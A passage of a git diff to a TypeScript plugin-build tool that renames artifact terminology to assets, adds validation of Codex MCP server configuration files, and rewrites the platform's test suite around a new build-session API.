根前缀后的 Asset 路径集合。 */ -function scopedArtifacts(context: PlatformValidateContext, pluginRoot: string): ReadonlySet { +function scopedAssets(context: PlatformValidateContext, pluginRoot: string): ReadonlySet { /** 根 Plugin 不需要过滤或裁剪路径。 */ if (pluginRoot === '') - return new Set(context.candidate.unit.artifacts.map(artifact => artifact.path)); - /** 嵌套 Plugin 全部 Artifact 共同使用的固定目录前缀。 */ + return new Set(context.candidate.unit.assets.map(asset => asset.path)); + /** 嵌套 Plugin 全部 Asset 共同使用的固定目录前缀。 */ const prefix = `${pluginRoot}/`; - return new Set(context.candidate.unit.artifacts - .filter(artifact => artifact.path.startsWith(prefix)) - .map(artifact => artifact.path.slice(prefix.length))); + return new Set(context.candidate.unit.assets + .filter(asset => asset.path.startsWith(prefix)) + .map(asset => asset.path.slice(prefix.length))); } /** * 校验单个 Manifest 路径的安全性与存在性。 * - * @param context Platform validateBundle 生命周期上下文。 - * @param artifacts 当前 DeliveryUnit 的 Artifact 路径集合。 + * @param context Platform validatePackage 生命周期上下文。 + * @param assets 当前 Package 的 Asset 路径集合。 * @param field 当前引用所属字段。 * @param reference 待校验路径。 * @param fieldPath 精确诊断位置。 */ function validateReference( context: PlatformValidateContext, - artifacts: ReadonlySet, + assets: ReadonlySet, field: string, reference: string, fieldPath: readonly (string | number)[], ): void { if (!isSafePluginReference(reference)) { report(context, 'CODEX_MANIFEST_REFERENCE_UNSAFE', `${field} must start with ./ and stay inside the Plugin root.`, fieldPath); - } else if (!referenceExists(artifacts, reference)) { + } else if (!referenceExists(assets, reference)) { report(context, 'CODEX_MANIFEST_REFERENCE_MISSING', `${field} references a missing Plugin file or directory.`, fieldPath); } } @@ -276,7 +290,7 @@ function validateReference( /** * 校验已存在的 Codex 目录品牌图片格式、字节数和方形尺寸。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 * @param reference 相对于 Plugin 根的图片路径。 * @param field Manifest 中声明图片的字段。 @@ -291,17 +305,17 @@ async function validateBrandingImage( ): Promise { if (!isSafePluginReference(reference)) return; - /** Manifest 引用转换后的候选根内 Artifact 路径。 */ - const artifactPath = reference.slice(2); + /** Manifest 引用转换后的候选根内 Asset 路径。 */ + const assetPath = reference.slice(2); /** 图片文件名的规范小写扩展名。 */ - const extension = path.posix.extname(artifactPath).toLocaleLowerCase('en-US'); + const extension = path.posix.extname(assetPath).toLocaleLowerCase('en-US'); if (!BRANDING_IMAGE_EXTENSIONS.has(extension)) { report(context, 'CODEX_BRANDING_IMAGE_FORMAT_UNSUPPORTED', `${field} must use PNG, JPEG, WebP, or SVG.`, fieldPath); return; } try { /** 从 Core 已物化的候选根读取实际图片字节。 */ - const bytes = await fs.readFile(path.join(context.candidate.root, pluginRoot, artifactPath)); + const bytes = await fs.readFile(path.join(context.candidate.root, pluginRoot, assetPath)); if (bytes.byteLength > MAX_BRANDING_IMAGE_BYTES) { report(context, 'CODEX_BRANDING_IMAGE_TOO_LARGE', `${field} must not exceed 5 MiB.`, fieldPath); return; @@ -334,14 +348,14 @@ async function validateBrandingImage( /** * 校验 Codex Plugin 安装界面字段和资源引用。 * - * @param context Platform validateBundle 生命周期上下文。 - * @param artifacts 当前 DeliveryUnit 的 Artifact 路径集合。 + * @param context Platform validatePackage 生命周期上下文。 + * @param assets 当前 Package 的 Asset 路径集合。 * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 * @param value Manifest 的 interface 候选。 */ async function validateInterface( context: PlatformValidateContext, - artifacts: ReadonlySet, + assets: ReadonlySet, pluginRoot: string, value: JsonValue, ): Promise { @@ -380,21 +394,21 @@ async function validateInterface( /** 当前图片路径候选。 */ const candidate = value[field]; if (typeof candidate === 'string' && !invalidFields.has(field)) { - validateReference(context, artifacts, `interface.${field}`, candidate, ['interface', field]); - if (referenceExists(artifacts, candidate)) + validateReference(context, assets, `interface.${field}`, candidate, ['interface', field]); + if (referenceExists(assets, candidate)) await validateBrandingImage(context, pluginRoot, candidate, `interface.${field}`, ['interface', field]); } } if (Array.isArray(value.screenshots) && !invalidFields.has('screenshots')) { for (const [index, screenshot] of value.screenshots.entries()) - validateReference(context, artifacts, 'interface.screenshots', screenshot as string, ['interface', 'screenshots', index]); + validateReference(context, assets, 'interface.screenshots', screenshot as string, ['interface', 'screenshots', index]); } } /** * 校验 Codex Hook matcher 是可执行的正则字符串。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param value matcher 候选值。 * @param fieldPath matcher 在最终 Hook 配置中的字段路径。 */ @@ -419,7 +433,7 @@ function validateHookMatcher( /** * 校验 Codex command Hook Handler 的字段和平台限制。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param event 当前 Handler 所属事件。 * @param value Handler 候选值。 * @param fieldPath Handler 在最终 Hook 配置中的字段路径。 @@ -475,7 +489,7 @@ function validateHookHandler( /** * 校验 Codex Hook 事件映射及其 matcher 分组。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param value `hooks` 字段中的事件映射候选。 * @param fieldPath 事件映射在最终配置中的字段路径。 */ @@ -528,7 +542,7 @@ function validateHookEvents( /** * 校验 Codex `hooks.json` 顶层结构或 Plugin Manifest 内联事件映射。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param value 已解析的 Hook 配置对象。 * @param fieldPath 配置在 Plugin Manifest 中的字段路径。 * @param wrapped 是否要求配置使用 `hooks.json` 顶层包装。 @@ -561,7 +575,7 @@ function validateHookConfig( /** * 读取并校验 Plugin 根内被引用的 Codex `hooks.json`。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 * @param reference 已通过安装根路径规则的 Hook 配置引用。 * @param fieldPath 引用在 Plugin Manifest 中的字段路径。 @@ -590,21 +604,21 @@ async function validateHookFile( /** * 校验 Hooks 字段允许的引用或内联配置,并验证最终配置内容。 * - * @param context Platform validateBundle 生命周期上下文。 - * @param artifacts 当前 DeliveryUnit 的 Artifact 路径集合。 + * @param context Platform validatePackage 生命周期上下文。 + * @param assets 当前 Package 的 Asset 路径集合。 * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 * @param value Hooks 字段候选。 */ async function validateHooks( context: PlatformValidateContext, - artifacts: ReadonlySet, + assets: ReadonlySet, pluginRoot: string, value: JsonValue, ): Promise { /** 校验并读取单个 Plugin 根路径引用。 */ const validatePath = async (reference: string, fieldPath: readonly (string | number)[]): Promise => { - validateReference(context, artifacts, 'hooks', reference, fieldPath); - if (isSafePluginReference(reference) && referenceExists(artifacts, reference)) + validateReference(context, assets, 'hooks', reference, fieldPath); + if (isSafePluginReference(reference) && referenceExists(assets, reference)) await validateHookFile(context, pluginRoot, reference, fieldPath); }; if (typeof value === 'string') { @@ -636,11 +650,115 @@ async function validateHooks( validateHookConfig(context, inline as JsonRecord, ['hooks', index], false); } +/** 校验 Codex MCP 的字符串键值映射。 */ +function validateMcpStringMap( + context: PlatformValidateContext, + value: JsonValue | undefined, + code: string, + label: string, + fieldPath: readonly (string | number)[], + environmentValues = false, +): void { + if (value !== undefined && (!isRecord(value) || Object.entries(value).some(([key, entry]) => + key.trim().length === 0 || typeof entry !== 'string' || (environmentValues && !ENV_NAME_PATTERN.test(entry))))) { + report(context, code, `${label} must map non-empty names to valid string values.`, fieldPath); + } +} + +/** 校验 Codex 最终 `.mcp.json` 中的完整 Server 映射。 */ +function validateMcpServers(context: PlatformValidateContext, value: JsonValue, fieldPath: readonly (string | number)[]): void { + if (!isRecord(value)) { + report(context, 'CODEX_MCP_SERVERS_INVALID', 'Codex MCP config must contain a Server object mapping.', fieldPath); + return; + } + for (const [id, candidate] of Object.entries(value)) { + /** 当前 Server 在最终配置中的字段路径。 */ + const serverPath = [...fieldPath, id]; + if (!SKILL_ID_PATTERN.test(id) || !isRecord(candidate)) { + report(context, 'CODEX_MCP_SERVER_INVALID', 'MCP Server ids must use lowercase kebab-case and map to objects.', serverPath); + continue; + } + /** url/command 必须恰好选择一种传输。 */ + const remote = Object.hasOwn(candidate, 'url'); + /** command 表示 Plugin-local stdio 传输。 */ + const local = Object.hasOwn(candidate, 'command'); + if (remote === local) { + report(context, 'CODEX_MCP_TRANSPORT_INVALID', 'MCP Server must declare exactly one of url or command.', serverPath); + continue; + } + /** 当前传输唯一允许的字段集合。 */ + const fields = remote ? MCP_HTTP_FIELDS : MCP_STDIO_FIELDS; + for (const field of Object.keys(candidate)) { + if (!fields.has(field)) + report(context, 'CODEX_MCP_FIELD_UNKNOWN', `Unknown Codex MCP field "${field}".`, [...serverPath, field]); + } + if (local) { + if (typeof candidate.command !== 'string' || candidate.command.trim().length === 0) + report(context, 'CODEX_MCP_COMMAND_INVALID', 'stdio MCP command must be a non-empty string.', [...serverPath, 'command']); + if (candidate.args !== undefined + && (!Array.isArray(candidate.args) || candidate.args.some(argument => typeof argument !== 'string'))) { + report(context, 'CODEX_MCP_ARGS_INVALID', 'stdio MCP args must contain only strings.', [...serverPath, 'args']); + } + if (candidate.cwd !== undefined && candidate.cwd !== '.') + report(context, 'CODEX_MCP_CWD_INVALID', 'Plugin stdio MCP cwd must be the Plugin root ".".', [...serverPath, 'cwd']); + validateMcpStringMap(context, candidate.env, 'CODEX_MCP_ENV_INVALID', 'stdio MCP env', [...serverPath, 'env']); + if (candidate.env_vars !== undefined + && (!Array.isArray(candidate.env_vars) || candidate.env_vars.some(variable => typeof variable !== 'string' || !ENV_NAME_PATTERN.test(variable)) + || new Set(candidate.env_vars).size !== candidate.env_vars.length)) { + report(context, 'CODEX_MCP_ENV_VARS_INVALID', 'stdio MCP env_vars must contain unique environment names.', [...serverPath, 'env_vars']); + } + continue; + } + if (typeof candidate.url !== 'string') { + report(context, 'CODEX_MCP_URL_INVALID', 'HTTP MCP url must be an HTTP(S) URL without credentials.', [...serverPath, 'url']); + } else { + try { + /** Codex remote MCP 不接受 URL 内联凭据。 */ + const url = new URL(candidate.url); + if ((url.protocol !== 'http:' && url.protocol !== 'https:') || url.username !== '' || url.password !== '') + throw new TypeError('unsafe'); + } catch { + report(context, 'CODEX_MCP_URL_INVALID', 'HTTP MCP url must be an HTTP(S) URL without credentials.', [...serverPath, 'url']); + } + } + if (candidate.bearer_token_env_var !== undefined + && (typeof candidate.bearer_token_env_var !== 'string' || !ENV_NAME_PATTERN.test(candidate.bearer_token_env_var))) { + report(context, 'CODEX_MCP_BEARER_INVALID', 'bearer_token_env_var must be an environment name.', [...serverPath, 'bearer_token_env_var']); + } + if (candidate.scopes !== undefined + && (!Array.isArray(candidate.scopes) || candidate.scopes.length === 0 + || candidate.scopes.some(scope => typeof scope !== 'string' || scope.trim().length === 0) + || new Set(candidate.scopes).size !== candidate.scopes.length)) { + report(context, 'CODEX_MCP_SCOPES_INVALID', 'MCP scopes must contain unique non-empty strings.', [...serverPath, 'scopes']); + } + validateMcpStringMap(context, candidate.http_headers, 'CODEX_MCP_HEADERS_INVALID', 'HTTP MCP headers', [...serverPath, 'http_headers']); + validateMcpStringMap(context, candidate.env_http_headers, 'CODEX_MCP_ENV_HEADERS_INVALID', 'HTTP MCP env headers', [...serverPath, 'env_http_headers'], true); + } +} + +/** 读取并校验 Codex Plugin 根内被引用的 `.mcp.json`。 */ +async function validateMcpFile( + context: PlatformValidateContext, + pluginRoot: string, + reference: string, + fieldPath: readonly (string | number)[], +): Promise { + try { + /** MCP 配置引用相对于当前 Plugin 根解析。 */ + const mcpPath = path.join(context.candidate.root, pluginRoot, reference.slice(2)); + /** Codex `.mcp.json` 顶层直接是 Server 映射。 */ + const value: unknown = JSON.parse(await fs.readFile(mcpPath, 'utf8')); + validateMcpServers(context, value as JsonValue, fieldPath); + } catch { + report(context, 'CODEX_MCP_CONFIG_READ_FAILED', 'mcpServers reference must contain valid JSON.', fieldPath); + } +} + /** * 校验 Skill 元数据中的相对资源引用。 * - * @param context Platform validateBundle 生命周期上下文。 - * @param artifacts 当前 DeliveryUnit 的 Artifact 路径集合。 + * @param context Platform validatePackage 生命周期上下文。 + * @param assets 当前 Package 的 Asset 路径集合。 * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 * @param skillId 当前 Skill 的最终目录 ID。 * @param field 元数据资源字段名。 @@ -648,7 +766,7 @@ async function validateHooks( */ function validateSkillAssetReference( context: PlatformValidateContext, - artifacts: ReadonlySet, + assets: ReadonlySet, skillId: string, field: string, reference: string, @@ -658,9 +776,9 @@ function validateSkillAssetReference( report(context, 'CODEX_SKILL_ASSET_UNSAFE', `${field} must start with ./ and stay inside the Skill root.`, ['skills', skillId, 'agents', 'openai.yaml', 'interface', field]); return; } - /** Skill 相对引用转换后的完整 Artifact 路径。 */ - const artifactPath = `skills/${skillId}/${reference.slice(2)}`; - if (!artifacts.has(artifactPath)) { + /** Skill 相对引用转换后的完整 Asset 路径。 */ + const assetPath = `skills/${skillId}/${reference.slice(2)}`; + if (!assets.has(assetPath)) { report(context, 'CODEX_SKILL_ASSET_MISSING', `${field} references a missing Skill asset.`, ['skills', skillId, 'agents', 'openai.yaml', 'interface', field]); } } @@ -668,19 +786,19 @@ function validateSkillAssetReference( /** * 校验一个 Skill 的 `agents/openai.yaml` 官方结构。 * - * @param context Platform validateBundle 生命周期上下文。 - * @param artifacts 当前 DeliveryUnit 的 Artifact 路径集合。 + * @param context Platform validatePackage 生命周期上下文。 + * @param assets 当前 Package 的 Asset 路径集合。 * @param skillId 当前 Skill 的最终目录 ID。 */ async function validateSkillMetadata( context: PlatformValidateContext, - artifacts: ReadonlySet, + assets: ReadonlySet, pluginRoot: string, skillId: string, ): Promise { - /** 当前 Skill 元数据的固定 Artifact 路径。 */ + /** 当前 Skill 元数据的固定 Asset 路径。 */ const metadataPath = `skills/${skillId}/agents/openai.yaml`; - if (!artifacts.has(metadataPath)) + if (!assets.has(metadataPath)) return; try { /** 从已物化候选读取 UTF-8 Skill 元数据。 */ @@ -715,7 +833,7 @@ async function validateSkillMetadata( if (typeof candidate !== 'string' || candidate.trim().length === 0) report(context, 'CODEX_SKILL_ASSET_INVALID', `Skill interface.${field} must be a non-empty path.`); else - validateSkillAssetReference(context, artifacts, skillId, field, candidate); + validateSkillAssetReference(context, assets, skillId, field, candidate); } } if (skillInterface.brand_color !== undefined @@ -762,8 +880,8 @@ async function validateSkillMetadata( /** * 校验一个最终 Skill 的 Markdown、frontmatter、正文与可选元数据。 * - * @param context Platform validateBundle 生命周期上下文。 - * @param artifacts 当前 DeliveryUnit 的 Artifact 路径集合。 + * @param context Platform validatePackage 生命周期上下文。 + * @param assets 当前 Package 的 Asset 路径集合。 * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 * @param pluginName 当前 Plugin 的稳定机器名称。 * @param skillId 当前 Skill 的最终目录 ID。 @@ -771,15 +889,15 @@ async function validateSkillMetadata( */ async function validateSkill( context: PlatformValidateContext, - artifacts: ReadonlySet, + assets: ReadonlySet, pluginRoot: string, pluginName: string | undefined, skillId: string, names: Set, ): Promise { - /** 当前 Skill Manifest 的固定 Artifact 路径。 */ + /** 当前 Skill Manifest 的固定 Asset 路径。 */ const manifestPath = `skills/${skillId}/SKILL.md`; - if (!artifacts.has(manifestPath)) { + if (!assets.has(manifestPath)) { report(context, 'CODEX_SKILL_MANIFEST_MISSING', `Skill directory "${skillId}" must contain SKILL.md.`, ['skills', skillId]); return; } @@ -818,7 +936,7 @@ async function validateSkill( } if (match[2]!.trim().length === 0) report(context, 'CODEX_SKILL_BODY_EMPTY', `${manifestPath} instructions must not be empty.`); - await validateSkillMetadata(context, artifacts, pluginRoot, skillId); + await validateSkillMetadata(context, assets, pluginRoot, skillId); } catch { report(context, 'CODEX_SKILL_READ_FAILED', `${manifestPath} must be readable UTF-8 Markdown.`); } @@ -827,30 +945,30 @@ async function validateSkill( /** * 校验 `skills/` 根下每个直接子目录及其内容协议。 * - * @param context Platform validateBundle 生命周期上下文。 - * @param artifacts 当前 DeliveryUnit 的 Artifact 路径集合。 + * @param context Platform validatePackage 生命周期上下文。 + * @param assets 当前 Package 的 Asset 路径集合。 * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 * @param pluginName 当前 Plugin 的稳定机器名称。 */ async function validateSkills( context: PlatformValidateContext, - artifacts: ReadonlySet, + assets: ReadonlySet, pluginRoot: string, pluginName: string | undefined, ): Promise { - /** 从任意 Skill Artifact 收集的直接子目录 ID。 */ + /** 从任意 Skill Asset 收集的直接子目录 ID。 */ const directories = new Set(); - for (const artifact of artifacts) { - if (!artifact.startsWith('skills/')) + for (const asset of assets) { + if (!asset.startsWith('skills/')) continue; - /** 当前 Skill Artifact 的 POSIX 路径片段。 */ - const segments = artifact.split('/'); + /** 当前 Skill Asset 的 POSIX 路径片段。 */ + const segments = asset.split('/'); if (segments.length < 3 || segments[1] === '') { - report(context, 'CODEX_SKILL_PATH_INVALID', `Invalid Skill Artifact path "${artifact}".`, ['skills']); + report(context, 'CODEX_SKILL_PATH_INVALID', `Invalid Skill Asset path "${asset}".`, ['skills']); continue; } directories.add(segments[1]!); - if (artifact.endsWith('/SKILL.md') && segments.length !== 3) + if (asset.endsWith('/SKILL.md') && segments.length !== 3) report(context, 'CODEX_SKILL_MANIFEST_NESTED', 'SKILL.md must be an immediate child of its Skill directory.', ['skills', segments[1]!]); } if (directories.size === 0) { @@ -863,14 +981,14 @@ async function validateSkills( for (const skillId of [...directories].sort(compareCodeUnits)) { if (!SKILL_ID_PATTERN.test(skillId)) report(context, 'CODEX_SKILL_DIRECTORY_INVALID', `Skill directory "${skillId}" must use lowercase kebab-case.`, ['skills', skillId]); - await validateSkill(context, artifacts, pluginRoot, pluginName, skillId, names); + await validateSkill(context, assets, pluginRoot, pluginName, skillId, names); } } /** * 校验 Plugin Manifest 字段、Skill 根和 Extension 引用。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param manifest 已解析的 Codex Plugin Manifest。 * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 */ @@ -879,8 +997,8 @@ async function validatePluginManifest( manifest: JsonRecord, pluginRoot = '', ): Promise { - /** 当前 Plugin 安装根内的相对 Artifact 路径集合。 */ - const artifacts = scopedArtifacts(context, pluginRoot); + /** 当前 Plugin 安装根内的相对 Asset 路径集合。 */ + const assets = scopedAssets(context, pluginRoot); for (const field of Object.keys(manifest)) { if (!PLUGIN_FIELDS.has(field)) report(context, 'CODEX_MANIFEST_FIELD_UNKNOWN', `Unknown Codex Plugin field "${field}".`, [field]); @@ -929,26 +1047,28 @@ async function validatePluginManifest( } if (manifest.skills !== './skills/') report(context, 'CODEX_SKILLS_PATH_INVALID', 'skills must point to the root ./skills/ directory.', ['skills']); - await validateSkills(context, artifacts, pluginRoot, typeof manifest.name === 'string' ? manifest.name : undefined); + await validateSkills(context, assets, pluginRoot, typeof manifest.name === 'string' ? manifest.name : undefined); if (manifest.interface !== undefined) - await validateInterface(context, artifacts, pluginRoot, manifest.interface); + await validateInterface(context, assets, pluginRoot, manifest.interface); if (manifest.mcpServers !== undefined) { if (typeof manifest.mcpServers !== 'string') { report(context, 'CODEX_MCP_REFERENCE_INVALID', 'mcpServers must be a Plugin-root file path.', ['mcpServers']); } else { - validateReference(context, artifacts, 'mcpServers', manifest.mcpServers, ['mcpServers']); + validateReference(context, assets, 'mcpServers', manifest.mcpServers, ['mcpServers']); + if (isSafePluginReference(manifest.mcpServers) && referenceExists(assets, manifest.mcpServers)) + await validateMcpFile(context, pluginRoot, manifest.mcpServers, ['mcpServers']); } } if (manifest.hooks !== undefined) - await validateHooks(context, artifacts, pluginRoot, manifest.hooks); - else if (artifacts.has('hooks/hooks.json')) + await validateHooks(context, assets, pluginRoot, manifest.hooks); + else if (assets.has('hooks/hooks.json')) await validateHookFile(context, pluginRoot, './hooks/hooks.json', ['hooks']); } /** * 校验 Marketplace 根清单和自包含 Plugin 来源。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param marketplace 已解析的 Marketplace 清单。 */ async function validateMarketplace( @@ -1031,7 +1151,7 @@ async function validateMarketplace( * * @param context Core 提供的已安全物化候选。 */ -export async function validateCodexBundle(context: PlatformValidateContext): Promise { +export async function validateCodexPackage(context: PlatformValidateContext): Promise { if (context.candidate.unit.type === 'marketplace') { /** Distribution 额外要求 Repo Marketplace 固定路径。 */ const marketplace = await readJson(context, MARKETPLACE_MANIFEST_PATH); @@ -1043,7 +1163,7 @@ export async function validateCodexBundle(context: PlatformValidateContext): Pro const plugin = await readJson(context, PLUGIN_MANIFEST_PATH); if (plugin !== undefined) await validatePluginManifest(context, plugin); - if (context.candidate.unit.artifacts.some(artifact => artifact.path === MARKETPLACE_MANIFEST_PATH)) { + if (context.candidate.unit.assets.some(asset => asset.path === MARKETPLACE_MANIFEST_PATH)) { report(context, 'CODEX_MARKETPLACE_IN_PRIMARY', 'Primary Plugin must not contain a Marketplace manifest.'); } } diff --git a/packages/platforms/codex/test/golden/skills/command-release/SKILL.md b/packages/platforms/codex/test/golden/skills/command-release/SKILL.md deleted file mode 100644 index 79bdcd4..0000000 --- a/packages/platforms/codex/test/golden/skills/command-release/SKILL.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -description: Prepare a release. -name: command-release ---- -Prepare release the arguments supplied with this explicit invocation. diff --git a/packages/platforms/codex/test/golden/skills/command-release/agents/openai.yaml b/packages/platforms/codex/test/golden/skills/command-release/agents/openai.yaml deleted file mode 100644 index abb36f7..0000000 --- a/packages/platforms/codex/test/golden/skills/command-release/agents/openai.yaml +++ /dev/null @@ -1,5 +0,0 @@ -interface: - display_name: Release command - short_description: Prepare a release -policy: - allow_implicit_invocation: false diff --git a/packages/platforms/codex/test/platform.test.ts b/packages/platforms/codex/test/platform.test.ts index de4cb5e..2558057 100644 --- a/packages/platforms/codex/test/platform.test.ts +++ b/packages/platforms/codex/test/platform.test.ts @@ -3,49 +3,36 @@ import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; import { - bytesArtifact, defineExtension, - DeliveryUnitRegistry, - executeLifecycle, - resolveConfig, - stableJson, - withMaterializedDeliveryUnitCandidate, + resolveKernelConfig, + runKernelBuildSession, type AcpluginExtension, - type BuildCommand, - type DiagnosticInput, - type PlatformDistributionContext, - type ResolvedConfig, + type ConfigCommand, } from '@acplugin/core'; import { codex } from '../src/index.js'; import { MARKETPLACE_MANIFEST_PATH, PLUGIN_MANIFEST_PATH } from '../src/manifest.js'; -/** 测试结束后统一删除的临时工程根目录。 */ +/** 测试结束后统一删除的临时工程根。 */ const temporaryRoots: string[] = []; /** Golden 文件相对于当前测试模块的固定目录。 */ const goldenRoot = path.join(import.meta.dirname, 'golden'); -/** - * 创建已登记自动清理的空临时工程。 - * - * @returns 新建工程的绝对路径。 - */ +/** 创建带最小配置占位符且会自动清理的临时工程。 */ async function temporaryProject(): Promise { - /** 当前用例独占且不会与并行测试冲突的工程根。 */ + /** root 是当前测试独占工程根。 */ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-codex-platform-')); temporaryRoots.push(root); await fs.mkdir(path.join(root, 'src'), { recursive: true }); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), 'export default {}\n'); return root; } -/** - * 写入包含原生 Skill、无 hint Command、辅助文件和 Public 的严格兼容工程。 - * - * @param root 当前测试工程根目录。 - */ +/** 写入原生 Skill、转换 Command、Public branding 和 Core Runtime。 */ async function writeSupportedProject(root: string): Promise { await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); await fs.mkdir(path.join(root, 'src/skills/review/references'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/runtime'), { recursive: true }); await fs.mkdir(path.join(root, 'public/assets'), { recursive: true }); await fs.writeFile(path.join(root, 'src/commands/release.md'), `--- description: Prepare a release. @@ -72,26 +59,23 @@ platforms: Review the implementation. `); await fs.writeFile(path.join(root, 'src/skills/review/references/checklist.md'), 'Review checklist.\n'); - await fs.writeFile(path.join(root, 'public/assets/logo.svg'), '\n'); + await fs.writeFile(path.join(root, 'src/runtime/cli.ts'), 'process.stdout.write("runtime-ready\\n");\n'); + await fs.writeFile(path.join(root, 'public/assets/logo.svg'), + '\n'); } -/** - * 解析仅包含 Codex Platform 的测试配置。 - * - * @param root 当前测试工程根目录。 - * @param command 生命周期命令。 - * @param platform 当前用例使用的 Codex Platform。 - * @param extensions 可选横向 Extension 列表。 - * @returns 无配置诊断的完整 ResolvedConfig。 - */ -function resolvedConfig( - root: string, - command: BuildCommand, - platform: ReturnType, - extensions: readonly AcpluginExtension[] = [], -): ResolvedConfig { - /** 通过公开配置解析器建立的测试配置结果。 */ - const result = resolveConfig({ +/** 执行一次只包含 Codex 的真实 Kernel v2 BuildSession。 */ +async function run(input: { + readonly root: string; + readonly command?: ConfigCommand; + readonly platform?: ReturnType; + readonly extensions?: readonly AcpluginExtension[]; + readonly commit?: boolean; +}) { + /** command 决定 lifecycle 语义,commit 只允许 build 使用。 */ + const command = input.command ?? 'build'; + /** resolved 使用公开 Project API 的相同 config resolver。 */ + const resolved = resolveKernelConfig({ name: 'release-tools', version: '1.2.3', description: 'Release workflow tools.', @@ -101,53 +85,88 @@ function resolvedConfig( repository: 'https://github.com/TokenRollAI/release-tools', license: 'MIT', keywords: ['release', 'review'], - platforms: [platform], - extensions, + platforms: [input.platform ?? codex()], + extensions: input.extensions ?? [], build: { outDir: 'dist', strict: true }, - }, path.join(root, 'acplugin.config.ts'), command, 'production'); - expect(result.diagnostics).toEqual([]); - return result.config!; -} - -/** - * 执行一次完整 Codex Platform 生命周期。 - * - * @param config 已解析且只包含当前 Platform 的配置。 - * @returns Core 的稳定 BuildResult。 - */ -async function run(config: ResolvedConfig) { - return executeLifecycle({ - config, - /** 当前 Platform Fixture 不加载作者 TypeScript 模块。 */ - loadTypeScriptModule: async () => undefined, - environment: {}, + }, { + projectRoot: input.root, + configFile: path.join(input.root, 'acplugin.config.ts'), + command, + mode: 'production', }); + expect(resolved.diagnostics).toEqual([]); + return (await runKernelBuildSession({ + config: resolved.config!, frameworkVersion: 'test', + commit: command === 'build' && (input.commit ?? true), + })).report; } -/** - * 读取 Golden 文本并与实际产物执行字节级比较。 - * - * @param actual 当前构建输出文件的绝对路径。 - * @param golden Golden 文件相对于 test/golden 的路径。 - */ +/** 对比构建结果和仓库内确定性 Golden 字节。 */ async function expectGolden(actual: string, golden: string): Promise { - /** 当前仓库固定保存的期望字节。 */ - const expected = await fs.readFile(path.join(goldenRoot, golden)); - /** 当前 Platform 构建产生的实际字节。 */ - const received = await fs.readFile(actual); - expect(received).toEqual(expected); + await expect(fs.readFile(actual)).resolves.toEqual(await fs.readFile(path.join(goldenRoot, golden))); +} + +/** 创建向 Codex Package add-only 贡献一个资源的测试 Extension。 */ +function contributionExtension(input: { + readonly id: string; + readonly field?: 'hooks' | 'mcpServers'; + readonly value?: string; + readonly path: string; + readonly bytes: string; +}): AcpluginExtension { + return defineExtension({ + id: input.id, + apiVersion: '1', + resourceRoots: [], + /** Session 覆盖完整 Resource 与 Contributor 生命周期。 */ + createSession: () => ({ + /** 空对象标记 Fixture 本轮已发现。 */ + discover: () => ({}), + /** tuple 用于验证贡献的兼容性覆盖。 */ + validate: (_context, state) => ({ + state, subjects: [{ subject: `fixture:${input.id}`, capabilities: ['delivery'] }], + }), + /** bytes 只通过 Extension owner-scoped AssetService 签发。 */ + async build({ assets }, state) { + return { state: { + state, + asset: await assets.fromBytes({ + bytes: input.bytes, + origin: { operation: 'codex-fixture', subjects: [`fixture:${input.id}`] }, + }), + } }; + }, + contributors: [{ + platform: 'codex', + platformApiVersion: '1', + /** Contributor 只能占用声明点、追加 Asset 并覆盖自己的 tuple。 */ + contribute: (_context, built) => ({ + ...(input.field === undefined + ? {} + : { + documentFields: [{ document: 'plugin-manifest', path: [input.field], value: input.value! }], + }), + assets: [{ path: input.path, asset: built.asset }], + compatibility: [{ + subject: `fixture:${input.id}`, capability: 'delivery', level: 'native', + reason: 'The fixture is delivered through the Codex Package contribution contract.', + }], + }), + }], + }), + }); } afterEach(async () => { await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); }); -describe('Codex Platform', () => { - it('builds native Skills, transformed Commands, Public, metadata, and current openai.yaml', async () => { - /** 只使用 strict 可接受能力的完整工程。 */ +describe('Codex Platform Package API', () => { + it('builds Skill, plugin-prefixed Command, Public, Runtime, metadata, and current protocol goldens', async () => { + /** root 包含 Codex 首期全部严格可接受能力。 */ const root = await temporaryProject(); await writeSupportedProject(root); - /** 配置完整官方安装 interface 的 Codex Platform。 */ + /** platform 配置完整官方安装 interface。 */ const platform = codex({ interface: { category: 'Developer Tools', @@ -158,391 +177,190 @@ describe('Codex Platform', () => { logo: './assets/logo.svg', }, }); - /** 完成 strict 主 Plugin 构建后的稳定结果。 */ - const result = await run(resolvedConfig(root, 'build', platform)); - /** Codex 主 Plugin 的最终输出根。 */ + /** report 来自真实 build 和受管事务。 */ + const report = await run({ root, platform }); + /** output 是 Codex 主 Plugin 根。 */ const output = path.join(root, 'dist/codex/plugin'); - expect(result.success).toBe(true); - expect(result.committed).toBe(true); - expect(result.compatibility).toEqual(expect.arrayContaining([ - expect.objectContaining({ subject: 'skill:review', level: 'native' }), - expect.objectContaining({ subject: 'command:release', level: 'transform' }), + expect(report.success, JSON.stringify(report.diagnostics, null, 2)).toBe(true); + expect(report.committed).toBe(true); + 